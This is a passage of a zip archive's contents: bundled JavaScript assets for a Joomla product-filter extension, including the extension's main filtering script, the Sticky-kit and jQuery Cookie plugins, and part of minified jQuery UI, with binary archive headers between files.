} else if (!isNaN(parseFloat(key)) && isFinite(key)) {
value = key;
} else if (typeof key === "object") {
value = 0;
for(k in key){
if(key.hasOwnProperty(k)){
value++;
}
}
} else {
value = (key + '').length;
}
return chunk.write(value);
}
};
for(var key in helpers) {
dust.helpers[key] = helpers[key];
}
return dust;
}));
PK�v�[�_+��assets/js/sticky-kit.min.jsnu�[���/**
@license Sticky-kit v1.1.3 | MIT | Leaf Corcoran 2015 | http://leafo.net
*/
(function(){var
t,i;t=window.jQuery,i=t(window),t.fn.stick_in_parent=function(o){var
e,s,r,n,l,a,c,p,d,u,f,g,h;for(null==o&&(o={}),h=o.sticky_class,a=o.inner_scrolling,g=o.recalc_every,f=o.parent,d=o.offset_top,p=o.spacer,r=o.bottoming,null==d&&(d=0),null==f&&(f=void
0),null==a&&(a=!0),null==h&&(h="is_stuck"),e=t(document),null==r&&(r=!0),u=function(t){var
i,o,e;return
window.getComputedStyle?(i=t[0],o=window.getComputedStyle(t[0]),e=parseFloat(o.getPropertyValue("width"))+parseFloat(o.getPropertyValue("margin-left"))+parseFloat(o.getPropertyValue("margin-right")),"border-box"!==o.getPropertyValue("box-sizing")&&(e+=parseFloat(o.getPropertyValue("border-left-width"))+parseFloat(o.getPropertyValue("border-right-width"))+parseFloat(o.getPropertyValue("padding-left"))+parseFloat(o.getPropertyValue("padding-right"))),e):t.outerWidth(!0)},n=function(o,s,n,l,c,k,y,m){var
v,b,w,_,x,P,V,F,C,z,I,A;if(!o.data("sticky_kit")){if(o.data("sticky_kit",!0),x=e.height(),V=o.parent(),null!=f&&(V=V.closest(f)),!V.length)throw"failed
to find stick parent";return
w=!1,v=!1,I=null!=p?p&&o.closest(p):t("<div
/>"),I&&I.css("position",o.css("position")),F=function(){var
t,i,r;if(!m)return
x=e.height(),t=parseInt(V.css("border-top-width"),10),i=parseInt(V.css("padding-top"),10),s=parseInt(V.css("padding-bottom"),10),n=V.offset().top+t+i,l=V.height(),w&&(w=!1,v=!1,null==p&&(o.insertAfter(I),I.detach()),o.css({position:"",top:"",width:"",bottom:""}).removeClass(h),r=!0),c=o.offset().top-(parseInt(o.css("margin-top"),10)||0)-d,k=o.outerHeight(!0),y=o.css("float"),I&&I.css({width:u(o),height:k,display:o.css("display"),"vertical-align":o.css("vertical-align"),"float":y}),r?A():void
0},F(),_=void 0,P=d,z=g,A=function(){var t,u,f,b,C,A;if(!m)return
f=!1,null!=z&&(z-=1,0>=z&&(z=g,F(),f=!0)),f||e.height()===x||(F(),f=!0),b=i.scrollTop(),null!=_&&(u=b-_),_=b,w?(r&&(C=b+k+P>l+n,v&&!C&&(v=!1,o.css({position:"fixed",bottom:"",top:P}).trigger("sticky_kit:unbottom"))),c>b&&(w=!1,P=d,null==p&&(("left"===y||"right"===y)&&o.insertAfter(I),I.detach()),t={position:"",width:"",top:""},o.css(t).removeClass(h).trigger("sticky_kit:unstick")),a&&(A=i.height(),k+d>A&&(v||(P-=u,P=Math.max(A-k,P),P=Math.min(d,P),w&&o.css({top:P+"px"}))))):b>c&&(w=!0,t={position:"fixed",top:P},t.width="border-box"===o.css("box-sizing")?o.outerWidth()+"px":o.width()+"px",o.css(t).addClass(h),null==p&&(o.after(I),("left"===y||"right"===y)&&I.append(o)),o.trigger("sticky_kit:stick")),w&&r&&(null==C&&(C=b+k+P>l+n),!v&&C)?(v=!0,"static"===V.css("position")&&V.css({position:"relative"}),o.css({position:"absolute",bottom:s,top:"auto"}).trigger("sticky_kit:bottom")):void
0},C=function(){return F(),A()},b=function(){return
m=!0,i.off("touchmove",A),i.off("scroll",A),i.off("resize",C),t(document.body).off("sticky_kit:recalc",C),o.off("sticky_kit:detach",b),o.removeData("sticky_kit"),o.css({position:"",bottom:"",top:"",width:""}),V.position("position",""),w?(null==p&&(("left"===y||"right"===y)&&o.insertAfter(I),I.remove()),o.removeClass(h)):void
0},i.on("touchmove",A),i.on("scroll",A),i.on("resize",C),t(document.body).on("sticky_kit:recalc",C),o.on("sticky_kit:detach",b),setTimeout(A,0)}},l=0,c=this.length;c>l;l++)s=this[l],n(t(s));return
this}}).call(this);PK�v�[����J�Jassets/js/main.jsnu�[���//
Minified version of isMobile included in the HTML since it's small
!function (a) { var b = /iPhone/i, c = /iPod/i, d = /iPad/i, e =
/(?=.*\bAndroid\b)(?=.*\bMobile\b)/i, f = /Android/i, g =
/(?=.*\bAndroid\b)(?=.*\bSD4930UR\b)/i, h =
/(?=.*\bAndroid\b)(?=.*\b(?:KFOT|KFTT|KFJWI|KFJWA|KFSOWI|KFTHWI|KFTHWA|KFAPWI|KFAPWA|KFARWI|KFASWI|KFSAWI|KFSAWA)\b)/i,
i = /IEMobile/i, j = /(?=.*\bWindows\b)(?=.*\bARM\b)/i, k = /BlackBerry/i,
l = /BB10/i, m = /Opera Mini/i, n = /(CriOS|Chrome)(?=.*\bMobile\b)/i, o =
/(?=.*\bFirefox\b)(?=.*\bMobile\b)/i, p = new RegExp("(?:Nexus
7|BNTV250|Kindle Fire|Silk|GT-P1000)", "i"), q = function
(a, b) { return a.test(b) }, r = function (a) { var r = a ||
navigator.userAgent, s = r.split("[FBAN"); return
"undefined" != typeof s[1] && (r = s[0]), s =
r.split("Twitter"), "undefined" != typeof s[1]
&& (r = s[0]), this.apple = { phone: q(b, r), ipod: q(c, r),
tablet: !q(b, r) && q(d, r), device: q(b, r) || q(c, r) || q(d, r)
}, this.amazon = { phone: q(g, r), tablet: !q(g, r) && q(h, r),
device: q(g, r) || q(h, r) }, this.android = { phone: q(g, r) || q(e, r),
tablet: !q(g, r) && !q(e, r) && (q(h, r) || q(f, r)),
device: q(g, r) || q(h, r) || q(e, r) || q(f, r) }, this.windows = { phone:
q(i, r), tablet: q(j, r), device: q(i, r) || q(j, r) }, this.other = {
blackberry: q(k, r), blackberry10: q(l, r), opera: q(m, r), firefox: q(o,
r), chrome: q(n, r), device: q(k, r) || q(l, r) || q(m, r) || q(o, r) ||
q(n, r) }, this.seven_inch = q(p, r), this.any = this.apple.device ||
this.android.device || this.windows.device || this.other.device ||
this.seven_inch, this.phone = this.apple.phone || this.android.phone ||
this.windows.phone, this.tablet = this.apple.tablet || this.android.tablet
|| this.windows.tablet, "undefined" == typeof window ? this :
void 0 }, s = function () { var a = new r; return a.Class = r, a };
"undefined" != typeof module && module.exports &&
"undefined" == typeof window ? module.exports = r :
"undefined" != typeof module && module.exports &&
"undefined" != typeof window ? module.exports = s() :
"function" == typeof define && define.amd ?
define("isMobile", [], a.isMobile = s()) : a.isMobile = s()
}(this);
function utf8_to_b64(str) {
return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function
(match, p1) {
return String.fromCharCode('0x' + p1);
}));
}
function exeUTF8(str) {
$str = '';
for (var i = 0; i < str.length; i++) {
if (str.charCodeAt(i) > 127) $str += utf8_to_b64(str[i]);
else $str += (str[i]);
}
return $str.replace(/\=/g, "");
}
var JAnameColor = { "aliceblue": "#f0f8ff",
"antiquewhite": "#faebd7", "aqua":
"#00ffff", "aquamarine": "#7fffd4",
"azure": "#f0ffff", "beige":
"#f5f5dc", "bisque": "#ffe4c4",
"black": "#000000", "blanchedalmond":
"#ffebcd", "blue": "#0000ff",
"blueviolet": "#8a2be2", "brown":
"#a52a2a", "burlywood": "#deb887",
"cadetblue": "#5f9ea0", "chartreuse":
"#7fff00", "chocolate": "#d2691e",
"coral": "#ff7f50", "cornflowerblue":
"#6495ed", "cornsilk": "#fff8dc",
"crimson": "#dc143c", "cyan":
"#00ffff", "darkblue": "#00008b",
"darkcyan": "#008b8b", "darkgoldenrod":
"#b8860b", "darkgray": "#a9a9a9",
"darkgrey": "#a9a9a9", "darkgreen":
"#006400", "darkkhaki": "#bdb76b",
"darkmagenta": "#8b008b", "darkolivegreen":
"#556b2f", "darkorange": "#ff8c00",
"darkorchid": "#9932cc", "darkred":
"#8b0000", "darksalmon": "#e9967a",
"darkseagreen": "#8fbc8f", "darkslateblue":
"#483d8b", "darkslategray": "#2f4f4f",
"darkslategrey": "#2f4f4f", "darkturquoise":
"#00ced1", "darkviolet": "#9400d3",
"deeppink": "#ff1493", "deepskyblue":
"#00bfff", "dimgray": "#696969",
"dimgrey": "#696969", "dodgerblue":
"#1e90ff", "firebrick": "#b22222",
"floralwhite": "#fffaf0", "forestgreen":
"#228b22", "fuchsia": "#ff00ff",
"gainsboro": "#dcdcdc", "ghostwhite":
"#f8f8ff", "gold": "#ffd700",
"goldenrod": "#daa520", "gray":
"#808080", "grey": "#808080",
"green": "#008000", "greenyellow":
"#adff2f", "honeydew": "#f0fff0",
"hotpink": "#ff69b4", "indianred ":
"#cd5c5c", "indigo ": "#4b0082",
"ivory": "#fffff0", "khaki":
"#f0e68c", "lavender": "#e6e6fa",
"lavenderblush": "#fff0f5", "lawngreen":
"#7cfc00", "lemonchiffon": "#fffacd",
"lightblue": "#add8e6", "lightcoral":
"#f08080", "lightcyan": "#e0ffff",
"lightgoldenrodyellow": "#fafad2",
"lightgray": "#d3d3d3", "lightgrey":
"#d3d3d3", "lightgreen": "#90ee90",
"lightpink": "#ffb6c1", "lightsalmon":
"#ffa07a", "lightseagreen": "#20b2aa",
"lightskyblue": "#87cefa", "lightslategray":
"#778899", "lightslategrey": "#778899",
"lightsteelblue": "#b0c4de", "lightyellow":
"#ffffe0", "lime": "#00ff00",
"limegreen": "#32cd32", "linen":
"#faf0e6", "magenta": "#ff00ff",
"maroon": "#800000", "mediumaquamarine":
"#66cdaa", "mediumblue": "#0000cd",
"mediumorchid": "#ba55d3", "mediumpurple":
"#9370db", "mediumseagreen": "#3cb371",
"mediumslateblue": "#7b68ee",
"mediumspringgreen": "#00fa9a",
"mediumturquoise": "#48d1cc",
"mediumvioletred": "#c71585", "midnightblue":
"#191970", "mintcream": "#f5fffa",
"mistyrose": "#ffe4e1", "moccasin":
"#ffe4b5", "navajowhite": "#ffdead",
"navy": "#000080", "oldlace":
"#fdf5e6", "olive": "#808000",
"olivedrab": "#6b8e23", "orange":
"#ffa500", "orangered": "#ff4500",
"orchid": "#da70d6", "palegoldenrod":
"#eee8aa", "palegreen": "#98fb98",
"paleturquoise": "#afeeee", "palevioletred":
"#db7093", "papayawhip": "#ffefd5",
"peachpuff": "#ffdab9", "peru":
"#cd853f", "pink": "#ffc0cb",
"plum": "#dda0dd", "powderblue":
"#b0e0e6", "purple": "#800080",
"rebeccapurple": "#663399", "red":
"#ff0000", "rosybrown": "#bc8f8f",
"royalblue": "#4169e1", "saddlebrown":
"#8b4513", "salmon": "#fa8072",
"sandybrown": "#f4a460", "seagreen":
"#2e8b57", "seashell": "#fff5ee",
"sienna": "#a0522d", "silver":
"#c0c0c0", "skyblue": "#87ceeb",
"slateblue": "#6a5acd", "slategray":
"#708090", "slategrey": "#708090",
"snow": "#fffafa", "springgreen":
"#00ff7f", "steelblue": "#4682b4",
"tan": "#d2b48c", "teal":
"#008080", "thistle": "#d8bfd8",
"tomato": "#ff6347", "turquoise":
"#40e0d0", "violet": "#ee82ee",
"wheat": "#f5deb3", "white":
"#ffffff", "whitesmoke": "#f5f5f5",
"yellow": "#ffff00", "yellowgreen":
"#9acd32" };
(function ($) {
// Upper first letter
String.prototype.ucfirst = function () {
return this.charAt(0).toUpperCase() + this.slice(1).toLowerCase();
} // Upper first letter
String.prototype.slugify = function () {
return this.toString().toLowerCase()
.replace(/\s+/g, '-') // Replace spaces with -
.replace(/[^\w\-]+/g, '') // Remove all non-word chars
.replace(/\-\-+/g, '-') // Replace multiple - with
single -
.replace(/^-+/, '') // Trim - from start of text
.replace(/-+$/, ''); // Trim - from end of text
}
// Register iter helper for dustjs
// Make a loop for object properties
dust.helpers.iter = function (chunk, context, bodies) {
var items = context.current(), //this gets the current context hash from
the Context object (which has a bunch of other attributes defined in it)
ctx;
for (var key in items) {
ctx = { "key": key, "value": items[key] };
chunk = chunk.render(bodies.block, context.push(ctx));
}
return chunk;
}
dust.helpers.showClearAll = function(chunk, context){
if (Object.keys(context.stack.head).length !== 0){
return true;
}
return false;
}
dust.helpers.info = function (chunk, context, bodies) {
var item = context.current();
var obj = item.attr;
if (typeof ja_layout_addition === 'string') {
$ja_layout_add = ja_layout_addition.split(',');
for (var $i = 0; $i < $ja_layout_add.length; $i++) {
// for the key "key" in ctx variable. include if you want 2
columns in layout.
var $jakey = $ja_layout_add[$i].replace('attr.',
'').replace('.value', '');
var render_class = "";
var label_render_class = "";
// this line support for custom field class
// must override then render in template first to use.
if (typeof ja_customfield_class_render !== "undefined") {
if (typeof ja_customfield_class_render[$jakey] !==
"undefined") {
if (typeof ja_customfield_class_render[$jakey]['params']
!== "undefined") {
if (typeof
ja_customfield_class_render[$jakey]['params']['render_class']
!== "undefined")
render_class =
ja_customfield_class_render[$jakey]['params']['render_class'];
if (typeof
ja_customfield_class_render[$jakey]['params']['label_render_class']
!== "undefined")
label_render_class =
ja_customfield_class_render[$jakey]['params']['label_render_class'];
}
}
}
// custom layout input for thumb|desc. put something to
"value" if all layout template same markup html.
if ($ja_layout_add[$i] == 'thumb') {
var ctx = { "_class": $jakey, "value": item.desc
== undefined ? '' : item.desc, "render_class":
render_class, "label_render_class": label_render_class };
if (typeof ja_layout_columns[$ja_layout_add[$i]] !=
'undefined' && ja_layout_columns[$ja_layout_add[$i]] ==
1)
ctx.key = jamegafilter_thumb;
chunk = chunk.render(bodies.block, context.push(ctx));
continue;
}
if ($ja_layout_add[$i] == 'desc') {
var ctx = { "_class": $jakey, "value": item.desc
== undefined ? '' : item.desc, "render_class":
render_class, "label_render_class": label_render_class };
if (typeof ja_layout_columns[$ja_layout_add[$i]] !=
'undefined' && ja_layout_columns[$ja_layout_add[$i]] ==
1)
ctx.key = jamegafilter_desc;
chunk = chunk.render(bodies.block, context.push(ctx));
continue;
}
if ($ja_layout_add[$i] == 'baseprice') {
var ctx = { "_class": $jakey, "value":
item.baseprice == undefined ? '' : item.baseprice,
"render_class": render_class, "label_render_class":
label_render_class };
if (typeof ja_layout_columns[$ja_layout_add[$i]] !=
'undefined' && ja_layout_columns[$ja_layout_add[$i]] ==
1)
ctx.key = jamegafilter_baseprice;
chunk = chunk.render(bodies.block, context.push(ctx));
continue;
}
for (var key in obj) {
var value = obj[key];
if (key !== $jakey) continue;
if (typeof value.type === 'undefined') continue;
var _value;
var _val_class = "";
// custom layout input for name. put something to "value" if
all layout template same markup html.
if ($ja_layout_add[$i] == 'name') {
var ctx = { "_class": $jakey, "value":
value.frontend_value, "render_class": render_class,
"label_render_class": label_render_class };
if (typeof ja_layout_columns[$ja_layout_add[$i]] !=
'undefined' && ja_layout_columns[$ja_layout_add[$i]] ==
1) ctx.key = value.title;
chunk = chunk.render(bodies.block, context.push(ctx));
continue;
}
if (dust.isArray(value.frontend_value)) {
if (value.type == 'date') {
_date = new Date(value.frontend_value[0] * 1000);
_value = _date.getFullYear() + '-' + (_date.getMonth() +
1) + '-' + _date.getDate();
} else if (value.type == 'color') {
_value = [];
for (var i = 0; i < value.frontend_value.length; i++) {
var color = value.frontend_value[i].toLowerCase();
if (JAnameColor.hasOwnProperty(color)) {
color = JAnameColor[color];
}
var span = '<span class="color-item-bg"
style="background-color: ' + color + '; width: 24px; height:
20px; display: inline-block; box-shadow: 0 0 5px rgba(0, 0, 0,
0.65)"></span></span>';
_value.push(span);
}
_value = _value.join(' ');
} else if (value.type == 'media') {
_value = [];
for (var i = 0; i < value.frontend_value.length; i++) {
if (/^(http|https):\/\//.test(value.frontend_value[i])) {
_value.push('<img src="'+
value.frontend_value[i] + '" />');
} else {
_value.push('<img src="' + JABaseUrl +
'/' + value.frontend_value[i] + '" />');
}
}
_value = _value.join(' ');
} else {
// make sure the replace do not replace other value.
// only apply for category. we need to clear the category tree.
_value = [];
for (var i = 0; i < value.frontend_value.length; i++) {
_value.push(value.frontend_value[i].replace(/(.*?)\»\; /g,
'').replace(/(.*?)» /g, ''));
}
_value = _value.join(', ');
if (value['value'] &&
value['value'].length === 1) {
_val_class = value['value'].join(" "); //
support for something like badge icon.
}
_val_class = _val_class.replace(/[0-9 ]+/, "");
}
} else {
if (key == 'rating') {
_value = [
'<div class="rating-summary">',
'<div title="{rating} out of 5"
class="rating-result">',
'<span style="width:' + value.frontend_value +
'%"></span>',
'</div>',
'</div>'
].join('');
} else {
_value = value.frontend_value;
}
}
// include "key" if 2 columns.
var ctx = {
"_class": $jakey,
"value": _value,
"val_class": _val_class,
"render_class": render_class,
"label_render_class": label_render_class
};
if (typeof ja_layout_columns[$ja_layout_add[$i]] !==
'undefined' && ja_layout_columns[$ja_layout_add[$i]] ==
1) {
ctx.key = value.title;
}
chunk = chunk.render(bodies.block, context.push(ctx));
}
}
} else {
}
return chunk;
};
// if helper
dust.helpers.if = function (chunk, context, bodies, params) {
if (!params.value || params.value == params.is) {
chunk = chunk.render(bodies.block, context);
} else if (bodies.else) {
chunk = chunk.render(bodies.else, context);
}
return chunk
}
// truncate text
dust.helpers.Truncate = function(chunk, context, bodies, params){
var data = dust.helpers.tap(params.data, chunk, context);
var length = dust.helpers.tap(params.length, chunk, context);
return chunk.write(data.substr(0, length));
}
// translate helper
dust.helpers.__ = function (chunk, context, bodies, params) {
chunk.write($.mage.__(params.t));
return chunk
}
dust.filters.__ = function (value) {
return $.mage.__(value);
};
var UBLN = {}, lnmain, lnfilter, lntoolbar, lnselected;
UBLN.main = function (config) {
// create main item
lnmain = new LNBase({
template: 'product-list',
class: 'lnfilter-wrapper',
container: '.main-content',
itemWrapper: '.product-items',
itemClass: 'ln-item',
autopage: config.autopage,
afterRender: function () {
lntoolbar.render();
},
afterUpdateRender: function () {
// update toolbar
lntoolbar.updateRender();
if (lnfilter.options.sticky) {
lnfilter.sticky()
}
}
});
lnfilter = new LNFilter({
container: '.sidebar-content',
sticky: config.sticky,
afterRender: function () {
lnselected.render();
if (lntoolbar.rendered) UBLN.load();
}
});
lnselected = new LNSelected({
container: '.filter-values'
});
lntoolbar = new LNToolbar({
container: '.toolbar-wrapper',
config: config,
afterRender: function () {
if (lnfilter.rendered) UBLN.load();
}
});
// default items per page
lnmain.itemPerPage = lntoolbar.itemPerPage;
lnfilter.addItems(lnmain);
lnfilter.addFilterResult(lnselected);
lntoolbar.addItems(lnmain);
lnmain.render();
// global for debug
$.lnmain = lnmain;
$.lnfilter = lnfilter;
$.lnselected = lnselected;
var progessBar = [
'<div id="mg-myProgress">',
'<div id="mg-loader"></div>',
'<div id="mg-percentBar">',
Joomla.JText._('COM_JAMEGAFILTER_LOADING') + ' <span
id="mg-perComplete"></span>',
'</div>',
'<div id="mg-myBar"></div>',
'</div>'
].join('');
lnmain.$wrapper.append(progessBar);
$('.ja-megafilter-wrap').addClass('mg-loading_layer');
if (config.dataUrl) {
$.ajax({
xhr: function () {
var xhr = new window.XMLHttpRequest();
// Download progress
xhr.addEventListener("progress", function (evt) {
if (evt.lengthComputable) {
var percentComplete = Math.round(evt.loaded / evt.total * 100);
// Do something with download progress
lnmain.$wrapper.find('#mg-myBar').css('width',
percentComplete + '%');
lnmain.$wrapper.find('#mg-perComplete').text(percentComplete
+ '%');
}
}, false);
return xhr;
},
type: 'GET',
url: config.dataUrl,
dataType: 'json',
data: {},
success: function (data) {
lnmain.$wrapper.find('#mg-myProgress').remove();
$('.ja-megafilter-wrap').removeClass('mg-loading_layer');
var ids = Object.keys(data);
if (!ids.length) return;
for (var id in data) {
if (afterGetData(data[id])) {
continue;
}
var itemdata = data[id],
item = new LNItem({
template: 'product-item'
});
if (itemdata.url) {
itemdata.url = Joomla.getOptions('system.paths').root +
itemdata.url;
}
if (itemdata.url_download) {
itemdata.url_download =
Joomla.getOptions('system.paths').root + itemdata.url_download;
}
item.setData(itemdata);
lnmain.addItem(item, 'k' + itemdata.id);
}
// Build filter list
if ($.isArray(config.fields)) {
config.fields.forEach(function (field) {
var type = field.type.ucfirst();
if (field.field == 'title') type = 'Value';
var func = 'addFilter' + type;
if (lnfilter[func]) {
lnfilter[func](field);
}
})
}
lnselected.setFilter(lnfilter);
// update render
lnfilter.updateFilter().render();
// add effect toggle filter on touch device.
let jabackdrop = jQuery('.sidebar-toggle-backdrop');
// if the layout contain the div with class. the backdrop will show
up.
// the style follow up in template. this is sample style. edit if
need.
jabackdrop.css({
'width': '100%',
'position': 'fixed',
'height': '100%',
'top': 0,
'left': 0,
'z-index': 101,
'background': 'black',
'opacity': 0.5,
'display': 'none'
});
$('.sidebar-toggle').off().on('click', function ()
{
$('.ja-mg-sidebar').toggleClass('open');
if ($('.ja-mg-sidebar').hasClass('open')) {
jabackdrop.off().on('click', function () {
$('.ja-mg-sidebar').toggleClass('open');
$(this).fadeOut();
});
jabackdrop.fadeIn();
} else {
jabackdrop.fadeOut();
}
});
MegaFilterCallback();
}
});
}
// free object
$(window).on('unload', function () {
lnfilter = null;
lnmain = null;
lntoolbar = null;
})
};
UBLN.load = function () {
// handle first visit, reselect
var qs = lnmain.getQS().qs,
page = qs.page ? qs.page : 1;
lnfilter.page = page;
lnfilter.load();
if (!lnmain.matchedIds.length) {
lnmain.setMatchedItems(Object.keys(lnmain.items));
}
lntoolbar.load();
lnmain.updateRender();
}
// reinit quickview
$(document).on('afterUpdateRender', function (e) {
if (e.lntarget == lnmain) {
// scroll to top
if (typeof MegaFilterCallback === 'function') {
MegaFilterCallback();
}
}
})
$(document).on('afterAutoPage', function (e) {
if (typeof afterAutoPage === 'function') {
afterAutoPage();
}
})
window.UBLN = UBLN;
})(jQuery);PK�v�[�6DDassets/js/jquery.cookie.jsnu�[���/*!
* jQuery Cookie Plugin v1.4.1
* https://github.com/carhartl/jquery-cookie
*
* Copyright 2006, 2014 Klaus Hartl
* Released under the MIT license
*/
(function (factory) {
if (typeof define === 'function' && define.amd) {
// AMD (Register as an anonymous module)
define(['jquery'], factory);
} else if (typeof exports === 'object') {
// Node/CommonJS
module.exports = factory(require('jquery'));
} else {
// Browser globals
factory(jQuery);
}
}(function ($) {
var pluses = /\+/g;
function encode(s) {
return config.raw ? s : encodeURIComponent(s);
}
function decode(s) {
return config.raw ? s : decodeURIComponent(s);
}
function stringifyCookieValue(value) {
return encode(config.json ? JSON.stringify(value) : String(value));
}
function parseCookieValue(s) {
if (s.indexOf('"') === 0) {
// This is a quoted cookie as according to RFC2068, unescape...
s = s.slice(1, -1).replace(/\\"/g,
'"').replace(/\\\\/g, '\\');
}
try {
// Replace server-side written pluses with spaces.
// If we can't decode the cookie, ignore it, it's unusable.
// If we can't parse the cookie, ignore it, it's unusable.
s = decodeURIComponent(s.replace(pluses, ' '));
return config.json ? JSON.parse(s) : s;
} catch(e) {}
}
function read(s, converter) {
var value = config.raw ? s : parseCookieValue(s);
return $.isFunction(converter) ? converter(value) : value;
}
var config = $.cookie = function (key, value, options) {
// Write
if (arguments.length > 1 && !$.isFunction(value)) {
options = $.extend({}, config.defaults, options);
if (typeof options.expires === 'number') {
var days = options.expires, t = options.expires = new Date();
t.setMilliseconds(t.getMilliseconds() + days * 864e+5);
}
return (document.cookie = [
encode(key), '=', stringifyCookieValue(value),
options.expires ? '; expires=' +
options.expires.toUTCString() : '', // use expires attribute,
max-age is not supported by IE
options.path ? '; path=' + options.path : '',
options.domain ? '; domain=' + options.domain :
'',
options.secure ? '; secure' : ''
].join(''));
}
// Read
var result = key ? undefined : {},
// To prevent the for loop in the first place assign an empty array
// in case there are no cookies at all. Also prevents odd result when
// calling $.cookie().
cookies = document.cookie ? document.cookie.split('; ') : [],
i = 0,
l = cookies.length;
for (; i < l; i++) {
var parts = cookies[i].split('='),
name = decode(parts.shift()),
cookie = parts.join('=');
if (key === name) {
// If second argument (value) is a function it's a converter...
result = read(cookie, value);
break;
}
// Prevent storing a cookie that we couldn't decode.
if (!key && (cookie = read(cookie)) !== undefined) {
result[name] = cookie;
}
}
return result;
};
config.defaults = {};
$.removeCookie = function (key, options) {
// Must not alter options, thus extending a fresh object...
$.cookie(key, '', $.extend({}, options, { expires: -1 }));
return !$.cookie(key);
};
}));
PK�v�[G����V�Vassets/js/jquery-ui.min.jsnu�[���/*!
jQuery UI - v1.12.1 - 2016-10-13
* http://jqueryui.com
* Includes: widget.js, keycode.js, widgets/mouse.js, widgets/slider.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */
(function(t){"function"==typeof
define&&define.amd?define(["jquery"],t):t(jQuery)})(function(t){t.ui=t.ui||{},t.ui.version="1.12.1";var
e=0,i=Array.prototype.slice;t.cleanData=function(e){return function(i){var
s,n,o;for(o=0;null!=(n=i[o]);o++)try{s=t._data(n,"events"),s&&s.remove&&t(n).triggerHandler("remove")}catch(a){}e(i)}}(t.cleanData),t.widget=function(e,i,s){var
n,o,a,r={},l=e.split(".")[0];e=e.split(".")[1];var
h=l+"-"+e;return
s||(s=i,i=t.Widget),t.isArray(s)&&(s=t.extend.apply(null,[{}].concat(s))),t.expr[":"][h.toLowerCase()]=function(e){return!!t.data(e,h)},t[l]=t[l]||{},n=t[l][e],o=t[l][e]=function(t,e){return
this._createWidget?(arguments.length&&this._createWidget(t,e),void
0):new
o(t,e)},t.extend(o,n,{version:s.version,_proto:t.extend({},s),_childConstructors:[]}),a=new
i,a.options=t.widget.extend({},a.options),t.each(s,function(e,s){return
t.isFunction(s)?(r[e]=function(){function t(){return
i.prototype[e].apply(this,arguments)}function n(t){return
i.prototype[e].apply(this,t)}return function(){var
e,i=this._super,o=this._superApply;return
this._super=t,this._superApply=n,e=s.apply(this,arguments),this._super=i,this._superApply=o,e}}(),void
0):(r[e]=s,void
0)}),o.prototype=t.widget.extend(a,{widgetEventPrefix:n?a.widgetEventPrefix||e:e},r,{constructor:o,namespace:l,widgetName:e,widgetFullName:h}),n?(t.each(n._childConstructors,function(e,i){var
s=i.prototype;t.widget(s.namespace+"."+s.widgetName,o,i._proto)}),delete
n._childConstructors):i._childConstructors.push(o),t.widget.bridge(e,o),o},t.widget.extend=function(e){for(var
s,n,o=i.call(arguments,1),a=0,r=o.length;r>a;a++)for(s in
o[a])n=o[a][s],o[a].hasOwnProperty(s)&&void
0!==n&&(e[s]=t.isPlainObject(n)?t.isPlainObject(e[s])?t.widget.extend({},e[s],n):t.widget.extend({},n):n);return
e},t.widget.bridge=function(e,s){var
n=s.prototype.widgetFullName||e;t.fn[e]=function(o){var
a="string"==typeof o,r=i.call(arguments,1),l=this;return
a?this.length||"instance"!==o?this.each(function(){var
i,s=t.data(this,n);return"instance"===o?(l=s,!1):s?t.isFunction(s[o])&&"_"!==o.charAt(0)?(i=s[o].apply(s,r),i!==s&&void
0!==i?(l=i&&i.jquery?l.pushStack(i.get()):i,!1):void
0):t.error("no such method '"+o+"' for
"+e+" widget instance"):t.error("cannot call methods on
"+e+" prior to initialization; "+"attempted to call
method '"+o+"'")}):l=void
0:(r.length&&(o=t.widget.extend.apply(null,[o].concat(r))),this.each(function(){var
e=t.data(this,n);e?(e.option(o||{}),e._init&&e._init()):t.data(this,n,new
s(o,this))})),l}},t.Widget=function(){},t.Widget._childConstructors=[],t.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(i,s){s=t(s||this.defaultElement||this)[0],this.element=t(s),this.uuid=e++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=t(),this.hoverable=t(),this.focusable=t(),this.classesElementLookup={},s!==this&&(t.data(s,this.widgetFullName,this),this._on(!0,this.element,{remove:function(t){t.target===s&&this.destroy()}}),this.document=t(s.style?s.ownerDocument:s.document||s),this.window=t(this.document[0].defaultView||this.document[0].parentWindow)),this.options=t.widget.extend({},this.options,this._getCreateOptions(),i),this._create(),this.options.disabled&&this._setOptionDisabled(this.options.disabled),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:t.noop,_create:t.noop,_init:t.noop,destroy:function(){var
e=this;this._destroy(),t.each(this.classesElementLookup,function(t,i){e._removeClass(i,t)}),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:t.noop,widget:function(){return
this.element},option:function(e,i){var
s,n,o,a=e;if(0===arguments.length)return
t.widget.extend({},this.options);if("string"==typeof
e)if(a={},s=e.split("."),e=s.shift(),s.length){for(n=a[e]=t.widget.extend({},this.options[e]),o=0;s.length-1>o;o++)n[s[o]]=n[s[o]]||{},n=n[s[o]];if(e=s.pop(),1===arguments.length)return
void 0===n[e]?null:n[e];n[e]=i}else{if(1===arguments.length)return void
0===this.options[e]?null:this.options[e];a[e]=i}return
this._setOptions(a),this},_setOptions:function(t){var e;for(e in
t)this._setOption(e,t[e]);return
this},_setOption:function(t,e){return"classes"===t&&this._setOptionClasses(e),this.options[t]=e,"disabled"===t&&this._setOptionDisabled(e),this},_setOptionClasses:function(e){var
i,s,n;for(i in
e)n=this.classesElementLookup[i],e[i]!==this.options.classes[i]&&n&&n.length&&(s=t(n.get()),this._removeClass(n,i),s.addClass(this._classes({element:s,keys:i,classes:e,add:!0})))},_setOptionDisabled:function(t){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!t),t&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return
this._setOptions({disabled:!1})},disable:function(){return
this._setOptions({disabled:!0})},_classes:function(e){function i(i,o){var
a,r;for(r=0;i.length>r;r++)a=n.classesElementLookup[i[r]]||t(),a=e.add?t(t.unique(a.get().concat(e.element.get()))):t(a.not(e.element).get()),n.classesElementLookup[i[r]]=a,s.push(i[r]),o&&e.classes[i[r]]&&s.push(e.classes[i[r]])}var
s=[],n=this;return
